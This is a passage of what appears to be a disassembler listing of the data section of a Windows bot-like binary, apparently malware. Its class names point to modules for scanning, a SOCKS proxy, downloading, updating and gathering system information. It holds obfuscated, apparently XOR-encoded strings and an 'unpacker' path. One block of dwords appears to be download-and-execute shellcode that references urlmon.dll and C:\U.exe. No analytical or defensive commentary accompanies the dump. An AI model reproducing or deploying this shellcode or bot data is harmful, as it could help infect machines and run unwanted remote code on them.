					; DATA XREF: sub_4148F8+192o
		dd 0F3E2FEEBh, 2 dup(0)
dword_425AB8	dd 758B54EBh, 35748B3Ch, 56F50378h, 320768Bh, 49C933F5h
					; DATA XREF: sub_414B19+37o
		dd 0DB33AD41h, 14BE0F36h, 74F23828h, 0DCBC108h,	0EB40DA03h
		dd 75DF3BEFh, 5E8B5EE7h, 66DD0324h, 8B4B0C8Bh, 0DD031C5Eh
		dd 38B048Bh, 7275C3C5h,	6E6F6D6Ch, 6C6C642Eh, 5C3A4300h
		dd 78652E55h, 0C0330065h, 30400364h, 408B0C78h,	1C708B0Ch
		dd 8408BADh, 408B09EBh,	7C408D34h, 953C408Bh, 0E4E8EBFh
		dd 0FF84E8ECh, 0EC83FFFFh, 242C8304h, 95D0FF3Ch, 1A36BF50h
		dd 6FE8702Fh, 8BFFFFFFh, 8DFC2454h, 0DB33BA52h,	0EB525353h
		dd 0D0FF5324h, 0FE98BF5Dh, 53E80E8Ah, 83FFFFFFh, 2C8304ECh
		dd 0D0FF6224h, 0E0CEEFBFh, 0FF40E860h, 0FF52FFFFh, 0FFD7E8D0h
		dd 0FFFFh, 0
		dd 0FF000000h, 0FFFF0000h, 0FFFFFF00h, 80000000h, 800000h
		dd 8000h, 80h, 420178h
dword_425BA8	dd 0			; DATA XREF: sub_4172D0+6Er
dword_425BAC	dd 0			; DATA XREF: sub_4172D0+75r
		dd 0
		dd 0FF000000h, 0
		dd 0FFFF0000h, 0
		dd 0FFFFFF00h, 0
		dd 0FFFFFFFFh, 0FF000000h, 0FFFFFFFFh, 0FFFF0000h, 0FFFFFFFFh
		dd 0FFFFFF00h, 0FFFFFFFFh
dword_425BE8	dd 0			; DATA XREF: sub_4172D0+8Br
dword_425BEC	dd 80000000h		; DATA XREF: sub_4172D0+91r
		dd 0
		dd 800000h, 0
		dd 8000h, 0
		dd 80h,	80000000h, 0
		dd 800000h, 0
		dd 8000h, 0
		dd 80h,	0
		dd offset dword_420178+10h
		dd offset aBadAllocati_11 ; "bad allocation"
		dd 0ACF2F6E4h, 0FBECE3E1h, 0E7F1F7EDh, 0ACFBEFE7h, 0F6E7ECh
		dd 7Bh dup(0)
dword_425E30	dd 80h dup(0)		; DATA XREF: sub_41C28D+44Eo
		dd 0F6E41309h, 0EDFBACF2h, 0ECE3E1F7h, 0E7E7F1F6h, 0EBACFBEFh
		dd 0EDE4ECh, 0FAh dup(0)
		dd 13090000h, 0ACF2F6E4h, 0EEF0EDF5h, 0EAE4EDE6h, 0ACF2EBFBh
		dd 0EDE4ECEBh, 0FBh dup(0)
		dd 1309h
aOltznsalkzkjes	db 'olTznSALKZkJESmT',0 ; DATA XREF: sub_419EC1:loc_419EECo
					; sub_419EC1+44r
		align 4
		dd 1Bh dup(0)
aBb		db '¡¡ÉÉ',0             ; DATA XREF: sub_41802D+2A9o
					; sub_41802D+375o ...
		align 10h
		dd 3Eh dup(0)
dword_4269B8	dd 0F2E7EBF2h, 0F0E7h, 4 dup(0)	; DATA XREF: sub_41802D+2FFo
					; sub_41802D+38Fo
byte_4269D0	db 2Eh			; DATA XREF: sub_417E66+E4r
byte_4269D1	db 0AFh, 0FAh, 0	; DATA XREF: sub_41802D+3A5o
		dd 0Dh dup(0)
		db 0
byte_426A09	db 0A8h, 0C2h, 0F1h	; DATA XREF: sub_41802D+611o
		dd 0F6FBFAE7h, 0ACE7EFEBh, 0EEEBEFh, 0Ch dup(0)
		db 0
byte_426A49	db 0E1h, 0F0h, 0F1h	; DATA XREF: sub_401DA7+60o
					; sub_417776+B8o ...
		dd 0E7ACF1F0h, 0E7FAh, 1Dh dup(0)
		db 0
asc_426AC9	db 'Ï×ÖÇÖÊÇÇÚ',0        ; DATA XREF: sub_41C28D+2FEo
		align 4
		dd 0Bh dup(0)
		db 0
byte_426B01	db 0D5h, 0EBh, 0ECh	; DATA XREF: sub_417776+A4o
					; sub_417909+7Co ...
		dd 0CBA2B0B1h, 0F0EDE4ECh, 0EBF6E3EFh, 0D1A2ECEDh, 0EBF4F0E7h
		dd 0E7E1h, 3Ah dup(0)
dword_426C04	dd 8			; DATA XREF: sub_417C7B+174r
					; sub_417C7B+1B1r
word_426C08	dw 1D0Dh		; DATA XREF: sub_401E4A:loc_401EFEr
byte_426C0A	db 1			; DATA XREF: sub_40177B+8Fr
					; sub_4019F3+8Fr
		align 4
		dd offset aBadAllocati_12 ; "bad allocation"
asc_426C10	db 'ÃÄÃÄ´Ç·À±¶··´À´¶Æ³À·°¶º°Çµ´³Ã¶º³µ´ÃóÁ´³Ã¶¶µ»¶ÀDz¶ÁİÄĵº»Áûµ±µÇ'
					; DATA XREF: sub_40177B+7Co
		db '¶¶´²µµÀ·ÀÆÆ¶±°Àǰº³³°º´³³²ÁÆ·°Ã±´³Ç±»Á±·ÆÁ°¶°°ÄÃÀÃĵdz´Ã',0
		align 4
		dd 71h dup(0)
asc_426E50	db '¶·±³·³ÁÇ´´·Ç»Ç¶Ä±ÇºÀÁ¶Ä¶³Á¶À°ÆÆµµ°ÄǺ±°Ã°Ç°·¶µµ¶ÃÀ¶²´ÁÁ¶Ä´Ç³±ÄµÁµ'
					; DATA XREF: sub_4019F3+7Co
		db '¶¶Ç´±Æ³»Àº´ÁºÄÁÄÀ´ÆÇ»·´µºÄ°Çº·»ÀÁ¶¶Æ±ÁƱ°º³ÁÇ»±»·Á³³±»Çĺµ»Æºº',0
		dd 10h dup(0)
asc_426F10	db 'ÌËÁÉ',0             ; DATA XREF: sub_41881F+216o
					; sub_418A8C+27o
		align 4
		db 0
asc_426F19	db 'ÒÃÑÑ',0             ; DATA XREF: sub_41881F+13Eo
		align 10h
		db 2 dup(0)
asc_426F22	db '×ÑÇÐ',0             ; DATA XREF: sub_41881F+227o
		align 4
		db 3 dup(0)
asc_426F2B	db 'ÒËÌÅ',0             ; DATA XREF: sub_41802D+1CFo
		dd 0
asc_426F34	db 'ÒÍÌÅ',0             ; DATA XREF: sub_41802D+22Fo
		align 4
		db 0
asc_426F3D	db 'ÉËÁÉ',0             ; DATA XREF: sub_41802D+1DFo
		align 4
		db 2 dup(0)
asc_426F46	db 'ÈÍËÌ',0             ; DATA XREF: sub_41802D+2ECo
					; sub_41802D+355o
		align 4
		db 3 dup(0)
asc_426F4F	db 'ÏÍÆÇ',0             ; DATA XREF: sub_41802D+365o
		align 8
asc_426F58	db 'ÒÐËÔÏÑÅ',0          ; DATA XREF: sub_417B51+A4o
					; sub_41802D+1EFo
		dd 2 dup(0)
dword_426F68	dd 0F2F6F6EAh, 0F1ADADB8h, 0EEF0E3E1h, 0EAF1F6E7h, 0ACF2E7E7h
					; DATA XREF: sub_41AFA7+408o
		dd 0ADEFEDE1h, 0E5E3EFEBh, 0E5ADF1E7h, 0E7ACEBF7h, 0E7FAh
		dd 4203FCh
dword_426F94	dd 5348h, 420568h, 420584h, 420778h, 420788h, 4207BCh
					; DATA XREF: sub_419430+20o
					; sub_419430+8Eo
		dd 4207CCh, 4207E4h
dword_426FB4	dd 80000002h, 80000001h, 420AFCh ; DATA	XREF: sub_41A28F+6Bo
dword_426FC0	dd 0CA975201h, 0A811D059h, 0D5h, 1Dh dup(0) ; DATA XREF: sub_41A0C2+3Do
		dd 9, 0C5C1371Dh, 6379AB46h, 8Fh, 1Dh dup(0)
		dd 9, 7D8AAFA8h, 0F4BE11C9h, 8,	1Dh dup(0)
		dd 9, 9F499642h, 0F537FD4Ah, 0D6h, 1Dh dup(0)
		dd 9, 123485E9h, 411291D9h, 12h, 1Dh dup(0)
		dd 9, 5EB02EBh,	0FFFFF9E8h, 0FFh, 1Dh dup(0)
		dd 9
off_4272D8	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00421014o
					; c.7ld2ih:00421034o
		align 10h
a_?avclsmodule@	db '.?AVclsModule@@',0
off_4272F0	dd offset off_41D39C	; DATA XREF: c.7ld2ih:0042105Co
					; c.7ld2ih:00421084o ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_427310	dd offset off_41D39C	; DATA XREF: c.7ld2ih:004210ACo
					; c.7ld2ih:004210D0o ...
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
off_427330	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00420F6Co
					; c.7ld2ih:0042111Co ...
		align 8
a_?avexception@	db '.?AVexception@std@@',0
off_42734C	dd offset off_41D39C	; DATA XREF: c.7ld2ih:004210F8o
					; c.7ld2ih:00421150o ...
		dd 0
a_?avbad_alloc@	db '.?AVbad_alloc@std@@',0
off_427368	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00421178o
					; c.7ld2ih:0042119Co
		align 10h
a_?avmdlupd@@	db '.?AVmdlUPD@@',0
		align 10h
off_427380	dd offset off_41D39C	; DATA XREF: c.7ld2ih:004211C4o
					; c.7ld2ih:004211E8o
		align 8
a_?avmdldl@@	db '.?AVmdlDL@@',0
off_427394	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00421210o
					; c.7ld2ih:00421234o
		dd 0
a_?avmdlipt@@	db '.?AVmdlIPT@@',0
		align 4
off_4273AC	dd offset off_41D39C	; DATA XREF: c.7ld2ih:0042125Co
					; c.7ld2ih:00421280o
		dd 0
a_?avmdlijn@@	db '.?AVmdlIJN@@',0
		align 4
off_4273C4	dd offset off_41D39C	; DATA XREF: c.7ld2ih:004212A8o
					; c.7ld2ih:004212CCo
		dd 0
a_?avmdliquit@@	db '.?AVmdlIQUIT@@',0
		align 4
off_4273DC	dd offset off_41D39C	; DATA XREF: c.7ld2ih:004212F4o
					; c.7ld2ih:00421318o
		dd 0
a_?avmdlhttpinf	db '.?AVmdlHTTPInfo@@',0
		align 4
off_4273F8	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00421340o
					; c.7ld2ih:00421364o
		align 10h
a_?avmdls4stop@	db '.?AVmdlS4Stop@@',0
off_427410	dd offset off_41D39C	; DATA XREF: c.7ld2ih:0042138Co
					; c.7ld2ih:004213B0o
		align 8
a_?avmdls4@@	db '.?AVmdlS4@@',0
off_427424	dd offset off_41D39C	; DATA XREF: c.7ld2ih:004213D8o
					; c.7ld2ih:004213FCo
		dd 0
a_?avmdlnetinfo	db '.?AVmdlNetInfo@@',0
		align 10h
off_427440	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00421424o
					; c.7ld2ih:00421448o
		align 8
a_?avmdlsysinfo	db '.?AVmdlSysInfo@@',0
		align 4
off_42745C	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00421470o
					; c.7ld2ih:00421494o
		dd 0
a_?avmdlscansta	db '.?AVmdlScanStats@@',0
		align 4
off_427478	dd offset off_41D39C	; DATA XREF: c.7ld2ih:004214BCo
					; c.7ld2ih:004214E0o
		align 10h
a_?avmdlscansto	db '.?AVmdlScanStop@@',0
		align 4
off_427494	dd offset off_41D39C	; DATA XREF: c.7ld2ih:00421508o
					; c.7ld2ih:0042152Co
		dd 0
a_?avmdlscanner	db '.?AVmdlScanner@@',0
		align 10h
		dd 4 dup(0)
dword_4274C0	dd 0			; DATA XREF: sub_4031F3+4w
					; sub_4032F9+3r
dword_4274C4	dd 0			; DATA XREF: sub_40340B+2Bo
					; .text:loc_41CD31w ...
		align 10h
dword_4274D0	dd 0			; DATA XREF: sub_40340B:loc_40342Fr
					; sub_40340B+32w
dword_4274D4	dd 0			; DATA XREF: .text:0040440Fw
					; sub_40AF90:loc_40AFA2r ...
		dd 0
dword_4274DC	dd 0			; DATA XREF: sub_40428Dr
					; sub_40FA72+15r ...
dword_4274E0	dd 0			; DATA XREF: sub_404A3E+8Fw
					; c.7ld2ih:off_41D408o
dword_4274E4	dd 0			; DATA XREF: sub_404A3E+99w
		dd 0
dword_4274EC	dd 0			; DATA XREF: sub_404A3E+8Aw
		dd 10h dup(0)
dword_427530	dd 0			; DATA XREF: sub_404A3E+BFw
					; sub_404A3E+DFr
		align 8
dword_427538	dd 0			; DATA XREF: sub_404A3E+7Bw
					; c.7ld2ih:0041D40Co
		dd 22h dup(0)
word_4275C4	dw 0			; DATA XREF: sub_404A3E+4Fw
		align 4
word_4275C8	dw 0			; DATA XREF: sub_404A3E+48w
		align 4
word_4275CC	dw 0			; DATA XREF: sub_404A3E+41w
		align 10h
word_4275D0	dw 0			; DATA XREF: sub_404A3E+3Aw
		align 4
dword_4275D4	dd 0			; DATA XREF: sub_404A3E+26w
dword_4275D8	dd 0			; DATA XREF: sub_404A3E+20w
dword_4275DC	dd 0			; DATA XREF: sub_404A3E+1Aw
dword_4275E0	dd 0			; DATA XREF: sub_404A3E+14w
dword_4275E4	dd 0			; DATA XREF: sub_404A3E+Ew
dword_4275E8	dd 0			; DATA XREF: sub_404A3E+9w
dword_4275EC	dd 0			; DATA XREF: sub_404A3E+60w
dword_4275F0	dd 0			; DATA XREF: sub_404A3E+68w
					; sub_404A3E+85r
word_4275F4	dw 0			; DATA XREF: sub_404A3E+33w
		align 4
dword_4275F8	dd 0			; DATA XREF: sub_404A3E+57w
dword_4275FC	dd 0			; DATA XREF: sub_404A3E+70w
word_427600	dw 0			; DATA XREF: sub_404A3E+2Cw
		align 4
		dd 80h dup(0)
dword_427804	dd 0			; DATA XREF: sub_404DF4+15w
					; sub_404DF4+1Dw ...
word_427808	dw 0			; DATA XREF: sub_405019+E7w
		align 4
		dd 2 dup(0)
dword_427814	dd 4E4h			; DATA XREF: sub_405019+C3w
dword_427818	dd 0			; DATA XREF: sub_405019+CBw
dword_42781C	dd 0			; DATA XREF: sub_405019+D3w
dword_427820	dd 0			; DATA XREF: sub_402C69+6r
					; sub_402DA9+6r ...
		dd 8 dup(0)
off_427844	dd offset sub_4055A6	; DATA XREF: sub_405886+30w
					; sub_405886+51r ...
off_427848	dd offset sub_44BC27	; DATA XREF: sub_4055AF+10r
					; sub_405886+3Dw ...
off_42784C	dd offset sub_43C5AE	; DATA XREF: sub_4056CA+44r
					; sub_405886+4Aw ...
off_427850	dd offset sub_453548	; DATA XREF: sub_4055D9+Br
					; sub_405886+5Ew ...
		align 8
dword_427858	dd 15B418h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_405C31+4o
					; .data:off_423800o
dword_427870	dd 15B440h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423808o
dword_427888	dd 15B468h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423818o
		dd 15B490h, 0FFFFFFFFh,	4 dup(0)
dword_4278B8	dd 15B4B8h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423830o
		dd 15B4E0h, 0FFFFFFFFh,	4 dup(0)
		dd 15B508h, 0FFFFFFFFh,	4 dup(0)
dword_427900	dd 15B530h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423850o
dword_427918	dd 15B558h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423860o
		dd 15B580h, 0FFFFFFFFh,	4 dup(0)
		dd 15B5A8h, 0FFFFFFFFh,	4 dup(0)
dword_427960	dd 15B5D0h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: .data:00423880o
		dd 15B6D8h, 0FFFFFFFFh,	4 dup(0)
		dd 15B700h, 0FFFFFFFFh,	4 dup(0)
dword_4279A8	dd 0A00000h		; DATA XREF: sub_402E05+7Cr
					; sub_4039C3+62r ...
dword_4279AC	dd 0			; DATA XREF: sub_405E8D+21w
					; sub_405F00+21Cr ...
dword_4279B0	dd 0			; DATA XREF: sub_407AEA+14r
					; sub_407AEA+29r ...
dword_4279B4	dd 0			; DATA XREF: sub_40E422+19Er
dword_4279B8	dd 2			; DATA XREF: .text:0040439Aw
					; sub_407CB6:loc_407CDEr ...
dword_4279BC	dd 0A28h		; DATA XREF: .text:004043B1w
dword_4279C0	dd 501h			; DATA XREF: .text:004043A0w
dword_4279C4	dd 5			; DATA XREF: .text:004043A5w
					; sub_407CED+30r
dword_4279C8	dd 1			; DATA XREF: .text:004043ABw
dword_4279CC	dd 1			; DATA XREF: sub_40B203+A2w
dword_4279D0	dd 0A02BA8h		; DATA XREF: sub_40B203+A7w
		align 8
dword_4279D8	dd 0A02BC8h		; DATA XREF: sub_40AF90+4Bw
					; sub_40AF90:loc_40B055r ...
		dd 3 dup(0)
off_4279E8	dd offset aCM_unpackerPac ; DATA XREF: sub_40B203+37w
					; "C:\\m_unpacker\\packed.exe"
		align 10h
byte_4279F0	db 0			; DATA XREF: sub_407DBB+2Cw
					; sub_4084EB+5r
		align 4
dword_4279F4	dd 0			; DATA XREF: sub_407DBB+23w
dword_4279F8	dd 0			; DATA XREF: sub_407DBB+1Br
					; sub_407DBB+A0w
dword_4279FC	dd 0			; DATA XREF: sub_408305+27o
dword_427A00	dd 0			; DATA XREF: sub_408305+22r
dword_427A04	dd 0			; DATA XREF: sub_408408+4w sub_408412r
dword_427A08	dd 2			; DATA XREF: sub_4085AF+280w
					; sub_408ACB:loc_408B01w ...
		dd 3 dup(0)
dword_427A18	dd 6 dup(0)		; DATA XREF: sub_409E64+66o
		db 0
byte_427A31	db 3 dup(0)		; DATA XREF: sub_409E64+8Ao
		dd 40h dup(0)
		db 0
byte_427B35	db 0			; DATA XREF: sub_409E64+92w
		align 4
		dd 7Dh dup(0)
dword_427D2C	dd 0			; DATA XREF: sub_403AA0+80r
					; sub_409E64+E3o ...
dword_427D30	dd 0			; DATA XREF: sub_40AA2F+8r
		align 8
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_40B203+1Do
					; .data:off_4279E8o
		align 4
		dd 3Ah dup(0)
byte_427E3C	db 0			; DATA XREF: sub_40B203+24w
		align 10h
dword_427E40	dd 1			; DATA XREF: sub_40B2BC+2r
					; sub_40B2BC+24w ...
dword_427E44	dd 77C26E79h		; DATA XREF: sub_40B4CD+43r
					; sub_40B539+11w ...
byte_427E48	db 1			; DATA XREF: sub_40B4CD:loc_40B506r
					; sub_40B539+17w ...
		align 4
off_427E4C	dd offset sub_40C208	; DATA XREF: sub_40C254+Cr
					; sub_40C28B+Bw
dword_427E50	dd 1			; DATA XREF: sub_40C307+14r
					; sub_40C307+3Aw ...
dword_427E54	dd 1			; DATA XREF: sub_40C6EC+Fr
					; sub_40C6EC+37w ...
dword_427E58	dd 0			; DATA XREF: .data:off_423F3Co
					; .data:off_423F40o ...
dword_427E5C	dd 77E7C706h		; DATA XREF: sub_40CEAA+4w
					; sub_40CEC4+11r ...
dword_427E60	dd 0			; DATA XREF: sub_40D96D+Ar
dword_427E64	dd 0			; DATA XREF: sub_40E07F+4w
					; sub_40E0D9:loc_40E122o ...
dword_427E68	dd 0			; DATA XREF: sub_40E07F+9w
					; sub_40E0D9:loc_40E178o ...
dword_427E6C	dd 0			; DATA XREF: sub_40E07F+Ew sub_40E0CCr ...
dword_427E70	dd 0			; DATA XREF: sub_40E07F+13w
					; sub_40E0D9:loc_40E184o ...
		align 8
dword_427E78	dd 0			; DATA XREF: sub_40E289+4w
		dd 2 dup(0)
dword_427E84	dd 0			; DATA XREF: sub_40E293+4w
		dd 0Fh dup(0)
dword_427EC4	dd 0			; DATA XREF: sub_4085AF+6r
dword_427EC8	dd 0			; DATA XREF: sub_40F8D4+10r
					; sub_40F8D4+60w ...
dword_427ECC	dd 0			; DATA XREF: sub_40F8D4+75w
					; sub_40F8D4:loc_40FA22r
dword_427ED0	dd 0			; DATA XREF: sub_40F8D4+82w
					; sub_40F8D4+167r
dword_427ED4	dd 0			; DATA XREF: sub_40F8D4+D0w
					; sub_40F8D4:loc_40F9A9r
dword_427ED8	dd 0			; DATA XREF: sub_40F8D4+BAw
					; sub_40F8D4+E1r ...
		align 10h
dword_427EE0	dd 0			; DATA XREF: sub_40FB1C+Fw
		dd 2Fh dup(0)
dword_427FA0	dd 0			; DATA XREF: sub_410C39:loc_410C61r
byte_427FA4	db 0			; DATA XREF: sub_410E04:loc_410F40r
		align 4
dword_427FA8	dd 0			; DATA XREF: sub_41A200+4Br
					; sub_41A690+E6w ...
dword_427FAC	dd 0			; DATA XREF: sub_41A138+14r
					; sub_41A19C+14r ...
dword_427FB0	dd 0			; DATA XREF: sub_41A0C2+1Dr
					; sub_41A690+136w ...
dword_427FB4	dd 0			; DATA XREF: sub_41A200+1Cr
					; sub_41A690+AAw ...
dword_427FB8	dd 0			; DATA XREF: sub_41A690+BEw
					; sub_41A690+16Dr ...
dword_427FBC	dd 0			; DATA XREF: sub_41A690+D2w
					; sub_41A690+179r ...
dword_427FC0	dd 0			; DATA XREF: sub_41A138+34r
					; sub_41A19C+34r ...
dword_427FC4	dd 0			; DATA XREF: sub_41A200+63r
					; sub_41A690+FAw ...
dword_427FC8	dd 0			; DATA XREF: sub_41A690+14Aw
					; sub_41A690+322r
dword_427FCC	dd 0			; DATA XREF: sub_41A690+96w
					; sub_41A690+155r ...
dword_427FD0	dd 0			; DATA XREF: sub_41A138+4Dr
					; sub_41A19C+4Dr ...
dword_427FD4	dd 0			; DATA XREF: sub_401DA7+6Dr
					; sub_41930F+A9w ...
dword_427FD8	dd 0			; DATA XREF: sub_40207A+14Fr
					; sub_417C7B+11Dr ...
dword_427FDC	dd 0			; DATA XREF: sub_40207A+149r
					; sub_417C7B+116r ...
dword_427FE0	dd 0			; DATA XREF: sub_40207A+143r
					; sub_419590+61w
dword_427FE4	dd 0			; DATA XREF: sub_40207A+13Dr
					; sub_419590+66w
dword_427FE8	dd 0			; DATA XREF: sub_40207A+137r
					; sub_419590+71w
dword_427FEC	dd 0			; DATA XREF: sub_40207A+12Ar
					; sub_419590+76w
dword_427FF0	dd 0			; DATA XREF: sub_41954Ar
					; sub_41954A:loc_41957Fw ...
dword_427FF4	dd 0			; DATA XREF: sub_41954A+5r
					; sub_41954A+3Bw ...
dword_427FF8	dd 0			; DATA XREF: sub_41954A+15r
					; sub_419AEB+20w ...
dword_427FFC	dd 0			; DATA XREF: sub_419AEB+25w
		dd 33h dup(0)
dword_4280CC	dd 2 dup(0)		; DATA XREF: sub_419AEB+43o
word_4280D4	dw 0			; DATA XREF: sub_418B4D+8o
					; sub_41930F+AEw ...
word_4280D6	dw 0			; DATA XREF: sub_41930F+D1w
dword_4280D8	dd 0			; DATA XREF: sub_41930F+BDw
		dd 2 dup(0)
dword_4280E4	dd 0			; DATA XREF: sub_419430+6r
					; sub_419430+73r ...
dword_4280E8	dd 41h dup(0)		; DATA XREF: sub_418D42+1EDo
					; sub_418D42+224o ...
dword_4281EC	dd 0			; DATA XREF: sub_418B4D+Dr
					; sub_41930F+84w ...
byte_4281F0	db 0			; DATA XREF: sub_418D42+293o
					; sub_418D42+477o ...
		align 4
		dd 40h dup(0)
byte_4282F4	db 0			; DATA XREF: sub_4022D6:loc_40233Dr
					; sub_41930F+117w ...
		align 4
dword_4282F8	dd 41h dup(0)		; DATA XREF: sub_418D42:loc_418F5Fo
					; sub_41930F+1Ao
dword_4283FC	dd 0			; DATA XREF: sub_40177B+263o
					; sub_4019F3+215o ...
byte_428400	db 0			; DATA XREF: sub_413DDD+53Dr
					; sub_418AF1:loc_418B21r ...
		align 4
		dd 8 dup(0)
dword_428424	dd 0			; DATA XREF: sub_41BB83+33w
					; sub_41BB83+8Fr ...
dword_428428	dd 40h dup(0)		; DATA XREF: sub_41B981+49o
					; sub_41BD26+21o
dword_428528	dd 0			; DATA XREF: sub_401FD7+Br
					; sub_4145BE+75w ...
		align 10h
byte_428530	db 0			; DATA XREF: sub_40207A+16Bo
					; sub_41AD77+D7o ...
		align 4
		dd 3Fh dup(0)
dword_428630	dd 0			; DATA XREF: sub_40207A+170r
					; sub_41AD77+45o
dword_428634	dd 0			; DATA XREF: sub_40207A+17Er
					; sub_41AD77:loc_41AF02w ...
byte_428638	db 0			; DATA XREF: sub_4022D6+4B7w
		align 4
		dd 3Fh dup(0)
dword_428738	dd 0			; DATA XREF: sub_4022D6+44Ar
					; sub_4022D6+483w
		dd 3 dup(0)
		db 0
byte_428749	db 0			; DATA XREF: sub_4022D6:loc_40245Cr
					; sub_4027F4+AFw
		align 4
		dd 3 dup(0)
dword_428758	dd 0			; DATA XREF: sub_4027F4:loc_40287Dr
		dd 330Bh dup(0)
dword_435388	dd 0			; DATA XREF: sub_4028D4+A6r
					; sub_418D42+501r ...
		db 0
byte_43538D	db 0			; DATA XREF: sub_4022D6+3Er
					; sub_41BB83:loc_41BBBFw ...
		align 10h
dword_435390	dd 0			; DATA XREF: sub_41BB83+13Bw
dword_435394	dd 0			; DATA XREF: sub_4028D4+90r
					; sub_41B981:loc_41BAEFw ...
word_435398	dw 0			; DATA XREF: sub_401E4A+A6w
					; sub_401E4A+BAw
		align 10h
byte_4353A0	db 0			; DATA XREF: sub_4148F8+9Fr
					; sub_4148F8+1B4r ...
		align 4
		dd 31h dup(0)
		db 2 dup(0)
word_43546A	dw 0			; DATA XREF: sub_414B19+56o
		dd 2Bh dup(0)
byte_435518	db 0			; DATA XREF: sub_4148F8:loc_414953o
					; sub_4148F8:loc_4149C4r ...
		db 2 dup(0)
byte_43551B	db 0			; DATA XREF: sub_4148F8+119w
		dd 2 dup(0)
		db 2 dup(0)
byte_435526	db 0			; DATA XREF: sub_4148F8+8Ew
					; sub_4148F8+1A3w
		align 4
		db 2 dup(0)
byte_43552A	db 0			; DATA XREF: sub_4148F8+94w
					; sub_4148F8+1A9w
		align 10h
byte_435530	db 0			; DATA XREF: sub_4148F8+A7w
					; sub_4148F8+BFw ...
		align 4
		dd 56h dup(0)
dword_43568C	dd 0			; DATA XREF: sub_417E66+110o
					; sub_41C22E+43o ...
dword_435690	dd 0A03990h		; DATA XREF: sub_417E66+109r
					; sub_417E66+122r ...
dword_435694	dd 0Dh			; DATA XREF: sub_40121E+20r
					; sub_40121E:loc_40127Bw ...
dword_435698	dd 0			; DATA XREF: sub_401E4A+D3o
					; sub_401FD7+22o ...
dword_43569C	dd 0A03AA8h		; DATA XREF: sub_401E4A+C8r
					; sub_401E4A:loc_401F2Ar ...
dword_4356A0	dd 0			; DATA XREF: sub_4016BA+20r
					; sub_4016BA:loc_401717w ...
off_4356A4	dd offset off_420B9C	; DATA XREF: .text:0041CB47o
					; .text:0041CB51w
off_4356A8	dd offset off_420B94	; DATA XREF: .text:0041CB2Bo
					; .text:0041CB35w
off_4356AC	dd offset off_420C18	; DATA XREF: .text:0041CB7Fo
					; .text:0041CB89w
off_4356B0	dd offset off_420C20	; DATA XREF: .text:0041CB9Bo
					; .text:0041CBA5w
off_4356B4	dd offset off_420C10	; DATA XREF: .text:0041CB63o
					; .text:0041CB6Dw
off_4356B8	dd offset off_420C38	; DATA XREF: .text:0041CBB7o
					; .text:0041CBC1w
off_4356BC	dd offset off_420C8C	; DATA XREF: .text:0041CBEFo
					; .text:0041CBF9w
off_4356C0	dd offset off_420C84	; DATA XREF: .text:0041CBD3o
					; .text:0041CBDDw
off_4356C4	dd offset off_420D4C	; DATA XREF: .text:0041CC0Bo
					; .text:0041CC15w
off_4356C8	dd offset off_420D54	; DATA XREF: .text:0041CC27o
					; .text:0041CC31w
dword_4356CC	dd 2080Ah		; DATA XREF: sub_41AFA7+4E5r
					; .text:0041CC45w
off_4356D0	dd offset off_420EAC	; DATA XREF: .text:0041CC6Do
					; .text:0041CC77w
off_4356D4	dd offset off_420EB4	; DATA XREF: .text:0041CC89o
					; .text:0041CC93w
off_4356D8	dd offset off_420EA4	; DATA XREF: .text:0041CC51o
					; .text:0041CC5Bw
dword_4356DC	dd 1			; DATA XREF: sub_404170r sub_40ACDFw ...
dword_4356E0	dd 1			; DATA XREF: sub_407720+28r
					; sub_407F20+1Er ...
dword_4356E4	dd 0			; DATA XREF: sub_40AA2F+34r
dword_4356E8	dd 20h			; DATA XREF: sub_408B90+3Cw
					; sub_408B90+BFw ...
		dd 5 dup(0)
dword_435700	dd 0A020B0h		; DATA XREF: sub_406B86+FDr
					; sub_40843A+87r ...
		dd 3Fh dup(0)
dword_435800	dd 0A03188h		; DATA XREF: sub_40843A+2Bw
					; sub_40843A+44w ...
		dd 7 dup(0)
dword_435820	dd 400h	dup(0)		; DATA XREF: .data:off_423950o
					; .data:00423958o
dword_436820	dd 200h			; DATA XREF: sub_40843Ar
					; sub_40843A:loc_408454w ...
dword_436824	dd 0			; DATA XREF: sub_407F15w
dword_436828	dd 1			; DATA XREF: sub_40AF90+B3w
dword_43682C	dd 0A0310Ch		; DATA XREF: sub_4030C9+10r
					; sub_4030C9+9Bw ...
dword_436830	dd 0A03100h		; DATA XREF: sub_4030C9+5r
					; sub_4030C9+87w ...
dword_436834	dd 1			; DATA XREF: sub_4051B3r
					; sub_4051B3+11w ...
dword_436838	dd 0			; DATA XREF: sub_407D29:loc_407D92r
					; sub_407D29+74o ...
dword_43683C	dd 0			; DATA XREF: sub_405E8D+28w
					; sub_405ED5r ...
dword_436840	dd 0			; DATA XREF: sub_405E8D+15w
					; sub_405ED5+6r ...
dword_436844	dd 0			; DATA XREF: sub_403A51+13r
					; sub_405E8D+36w ...
dword_436848	dd 0			; DATA XREF: sub_405E8D+2Fw
					; sub_405F00+2FCw ...
dword_43684C	dd 0			; DATA XREF: sub_405E8D+3Cw
					; sub_406214r ...
dword_436850	dd 0			; DATA XREF: sub_405F00+229r
					; sub_405F00+249r ...
dword_436854	dd 1			; DATA XREF: sub_402E05:loc_402E3Er
					; sub_4039C3+13r ...
dword_436858	dd 152340h		; DATA XREF: .text:00404405w
					; sub_40AF33:loc_40AF44r ...
		align 800h
_data		ends

; Section 5. (virtual address 00038000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00038000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
